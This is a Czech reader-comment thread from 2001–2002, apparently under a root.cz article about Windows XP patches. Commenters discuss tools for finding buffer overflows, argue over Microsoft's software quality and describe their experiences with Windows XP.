    mohu pouzivat tyto male zaplaty i na ceskou verzi, kdyz jsou prakticky vytvoreny pro anglickou?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Michaello  |  21. 12. 2001 07:55
    Tomáš Holčík  |  21. 12. 2001 10:38

    Odkaz na českou verzi jsem přidal do článku.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    moje  |  21. 12. 2001 01:37

    docela by mne zajimalo, jak takovej nastroj pracuje na slozitejsim kodu
    neni nekde popis ?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Ladislav Zezula  |  21. 12. 2001 14:47

    Už jsem měl s takovým nástrojem tu čest. Byl to tool "Purify" od firmy Rational Software. Tento tool je integrovaný s MS Visual C++, a u nalezených chyb zobrazuje i jméno zdrojáku a číslo řádku (samozřejmě jen pokud máte debug verzi). Tento tool kontroluje běžné runtimové chyby v C, jako neinicializovanou paměť (každé čtení paměti, do kterého nebylo předtím zapsáno), přetečené buffery (alokujete 10 bytů a uděláte strcpy(ten_bytes, "0123456789") a je to v pr....), parametry API funkcí, neuvolněnou paměť a jiné. Nevím, zda Microsoft použil právě tento tool, ale bude to něco velice podobného.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Franta Blaha  |  03. 01. 2002 12:21

    Vyborny nastroj je BoundsChecker od fy. Numega. Tady je odkaz http://www.compuware.com/products/numega/bounds/

    Ostatne i ostatni nastroje jsou od teto firmy jsou vyborne. Sami je ve firme pouzivame a nemuzu si stezovat.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Xant Xanti  |  21. 12. 2001 01:22

    To by mě zajímalo, kolikrát se tohohle od M$oftu ještě dočkáme. Kdyby se to stalo jednou, tak neřeknu ani popel (chybyčka se vloudila). Ale tohle už je fakft moc.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Ladislav Zezula  |  21. 12. 2001 14:49

    No jo, ale najděte všechny chyby v projektu, který má (tuším) přes 30 milionů řádků zdrojového kódu. Nechci se zastávat Microsoftu, ale v velkými projekty bývá potíž, a Windows XP jsou asi jedním z největších projektů vůbec.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    BoodOk  |  21. 12. 2001 18:07

    Hmmm, ale prominte MS trzi za sva Windows desitky mld. dolaru, i kdybych vzal 10 mld., tak kazdy radek kodu stoji 300 US. To by si snad za tu cenu ohlidat mohli, ne?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Lukas Gallina  |  21. 12. 2001 20:50

    BoodOk, priteli.
    Ohlidat by to nemohli. Nejde o penize, nejde o prostredky ani o to kolik lidi to bude kontrolovat. Murphyho zakon to vysvetluje dost jasne  Proste to nejde

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin Tomasek  |  22. 12. 2001 01:59

    hmm.. az na to, ze k tomu ucelu existuje dost nastroju, ktere dokazou tyhle chyby vicemene spolehlive odhalovat. btw, pred par lety m$ spachal tohle http://www.cs.wisc.edu/~bart/fuzz/fuzz-nt.html, a imho to s kvalitou moc nahoru neslo.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Vaclav Kabat  |  23. 12. 2001 17:48

    Ze vy nekde studujete vs? a mel jste urcite velmi kvalitni predmet o vedeni SW projektu? A mel jste jednicku ze zkousky?

     

    VK

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin Tomasek  |  23. 12. 2001 19:47

    studuji na vs, zadny takovy predmet jsem nemel. muj nazor je, ze m$ proste neni schopen produkovat dostatecne kvalitni kod. dukaz, ze lze omezit buffer overflows (nebo podle m$ terminologie buffer overruns), jsou napr. gnu programy, podivejte se do gnu coding standards.

    to, ze se m$ snazi setrit, kde to jde chapu, snazi se vydelat penize. ovsem vzhledem k tomu, jak hodne omezil kvalitu svych produktu, je to pro me naprosto nezajimava firma a k nicemu ji, ani jejich produkty nepotrebuju.

    btw, fuzz je volne k dispozici, vysledky ma i samotny m$, vcetne podminek vyvolani, a byly snad opraveny? hm?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    m  |  08. 01. 2002 11:05

    vazeny  - sw jsme meli a mimochodem microsoft se ve svete hodnoti jako firma  s jednim z nejhosim modelem vytvareni a udrzovani projektu....  -

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Vaclav Kabat  |  08. 01. 2002 16:26

    Co bolo to bolo.. nesmite take verit vsemu co se na root.cz pise a zkusit si treba windows 2000 nebo XP

     

    nashle..

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    David Toman  |  09. 01. 2002 16:23

    To  je pravda. Potom uz Windows urcite nikdy nepouzijete :)

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Vaclav Kabat  |  09. 01. 2002 16:56

    Mate pravdu. Windows nejsou pro vsechny... ted si jen na tu minimalni hodnotu IQ nemohu vzpomenout.

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    David Toman  |  10. 01. 2002 14:45

    ja taky ne, ale bude to asi dost nizke cislo...stejne jako maximalni

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Vaclav Kabat  |  10. 01. 2002 16:01

    to jen dokazuje vasi nevhodnost k pouzivani OS windows.. Z charakteru IQ je jasne, ze o maximalnich hodnotach nema cenu mluvit...

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Martin Tomasek  |  09. 01. 2002 20:33

    no, nevim, me prijdou xp jako system plny chyb, naprosto nezpusobily k vypusteni do sveta, tak co je na nich tak dobreho?

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    mraky  |  09. 01. 2002 21:55

    Zdravim
    mno nema to asi vyznam natahovat --ale -cirka pred 3 hodinami jsemsi nainstalil winxp( ten vas mejl,prispevek, mi prisel ted az kdyz to pisu) -nicmene nainstalil jsem ,zastrcil jsem cardphona2 a xp zachrochtali-ja doufal ze jako v linuxu nebudu potrebovat doinstalit ovladace a ono skutecne se to tvarilo ,ze se vse winyxp nainstalily cardfouna dobre huuuraaa -ale copak - dokonce napsal jmeno cardphonu ,ale uz ho neumi pouzivat - mno dobra - opravdu moc se mi libilo ,ze okna se otevirala bleskurychle -ale co to - cim dele sjem ty xp mel spustena ,tak se rychlost ponekud zpomalovala ...(a to jsem mel otevrene 3 exploery -nicmene to nebylo nejake hrozne zpomaleni,nicmene krapet necekane...)
    tak jsemsi rekl ze si nainstalim vyukovy program ,ktery jsem dostal od kamarada... zase jsem pohorel - ad1. program nebyl schopen nacist velikost disku -misto 6.5Gb daval 999999b... -nejvetsi gol byl ten ze nebyl program schopen vytvorit adresar...(v ramci instalatoru -instalshield to nebyl.)- ten program je napsan pro win98 a je hodne dobry hmmm potom jsem musel jeste opravit chyby napachane winy pri instalaci (jesteze jsemuz na ty winy zvykly - davam si bootmanagera na jiny disk nez windowsovsky)



    takze potom jsem nabootoval do linuxu a spokojene se pripojil... - a znej pisu i tento prispevek


    mno asi jsem to psal prilis cerne ,nicmene byt neznaly a nevedet ze winy muzou byt i sikovne( programuji ve winech a winapi -jen NT a 95 -je mi blizsi nez linux) tak ho pomlouvam kde muzu ...


    k te poznamce - o svych dnesnich zkusenosti s XP dneska,jsem vam ted poreferoval - a o win2000 se starame v praci - mame jen sice 2 ,ale ty zaberou a natropi vetsinou vie skody a casu (a pritom provadeji naprosto banalni operace),nez tech dalsich 20 nebo tricet unixu a jednoho linuxu... - proste moje zkusenosti z administrace win2000 servru jsou absolutne zaporne (ten servr slouzi jako zalohovaci a presoupe se prez ne denne cirka 30 giga prez kazdy - a to je vsechno ,zadni uzivatele na to nechodi-krome nas adminu)


    nicmene ten modem na tech xp rozjedu - uz protoze me to nastvalo a myslim si jednolitost je vzdy spatna a zkouset nove veci se maji a na prvni pohled se davat nema(ted to beru jako vykrik do tmy...)

    mejte se pekneee:)))
    o tom microsoftu a jeho hodnoceni jsem si to nevycucal - ta stupnice existuje ,ma sve jmeno ,ale ta zkouska byla opravdu davno...a ja mam vsechny materialy na druem konci republiky -jestli me budete o to uhanet ,tak vam to cirak za 14 dni poslu.. :))

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Mirek  |  10. 01. 2002 23:30

    Pěkný blábol si napsal, tobě bych nesvěřil ani kalkulačku

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    mraky  |  11. 01. 2002 08:01

    mno jo no ja jen napsal sve cirka 3 hodinove zazitky s win xp... -mno spise nez osobni urazky bych uvital pomoc ,jak spustit programy ,ktere si s win xp nerozumi - mirku byl bych velmi rad ,pokud by jsi mi pomohl :)

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    PF2002!!!  |  27. 12. 2001 11:51

    Temelin.
    Taky docela velkej projekt  - na "lokalni" pomery rek' bych nejvetsi...
    Doufam ze pripadne "potize"  neomluvis podobne
    Hezky rok 2002!!!

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Drevko  |  21. 12. 2001 00:19

    no comment

    Souhlasím  |  Nesouhlasím  |  Odpovědět
    Zasílat názory e-mailem: Zasílat názory Můj názor